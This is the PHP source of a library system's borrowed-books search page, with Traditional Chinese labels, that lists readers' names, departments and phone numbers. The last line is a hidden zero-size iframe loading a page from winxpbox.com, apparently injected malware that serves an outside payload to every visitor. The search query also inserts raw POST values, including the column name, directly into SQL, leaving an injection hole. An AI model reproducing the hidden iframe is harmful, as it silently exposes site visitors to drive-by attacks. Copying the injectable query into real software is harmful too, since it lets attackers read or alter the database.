<?php
include "../config.php";
?>
<link href="../css/css.css" rel="stylesheet" type="text/css">

<form action="jctscx.php" method="post" enctype="multipart/form-data" name="form1" id="form1">
  <table width="765" border="0" cellspacing="0" class="table">
    <tr>
      <td width="124" height="50" align="left" class="tabletitle">　借出圖書查詢</td>
      <td width='1' height="50" align="left" class="titlebg"></td>
      <td width="448" height="50" align="center" class="tabletitle"><span class="word">按

<?php 
echo "<select name='cx'>";
 
$sql="show columns from lendingbook";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result))
{
echo "<option value='".$row[0]."'>".$row[0]."</option>";

 }
echo "</select>";
 ?>

　查詢　
<input name="name" type="text" id="name" />
　
<input type="submit" name="submit" value="查詢" />
      </span></td>
      <td width="2" class="titlebg"></td>
      <td width="180" align="center" class="tabletitle">&nbsp;</td>
    </tr>
  </table>
  <table class="table" width="765">
    <tr bgcolor="#BCD2E6" height="25">
	  <td width="50"  align="center" class="word">編號</td>
      <td width="370" align="center" class="word">書　　　名</td>
      <td width="150" align="center" class="word">類　別</td>
      <td width="176" align="center" class="word">讀者部門</td>
      <td width="120"  align="center" class="word">讀者姓名</td>
      <td width="100"  align="center" class="word">讀者電話</td>
      <td width="128"  align="center" class="word">借書日期</td>
      <td width="128"  align="center" class="word">應還日期</td>
    </tr>

<?php  //使用子查詢，查詢出選擇的某個類別的某本圖書的信息
if(!empty($_POST["submit"]))
{
$category=$_POST["cx"];
$name=$_POST["name"];

$sql="select * from lendingbook where $category like '%".$_POST["name"]."%'";

$result=mysql_query($sql) or die(mysql_error());
while($row=mysql_fetch_array($result))
{
?>	
<tr bgcolor='#BCD2E6'>
<td height='20' align='center' class='word'><?php echo $row["no"]; ?></td>
<td height='20' align='center' class='word'><?php echo $row["bookname"]; ?></td>
<td height='20' align='center' class='word'><?php echo $row["category"]; ?></td>
<td height='20' align='center' class='word'><?php echo $row["department"]; ?></td>
<td height='20' align='center' class='word'><?php echo $row["readername"]; ?></td>
<td align='center' class='word'><?php echo $row["phone"]; ?></td>
<td align='center' class='word'><?php echo $row["lenddate"]; ?></td>
<td align='center' class='word'><?php echo $row["shoulddate"]; ?></td>
</tr>
 <?php
 }
 }
?>
  </table> 
</form>

<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe>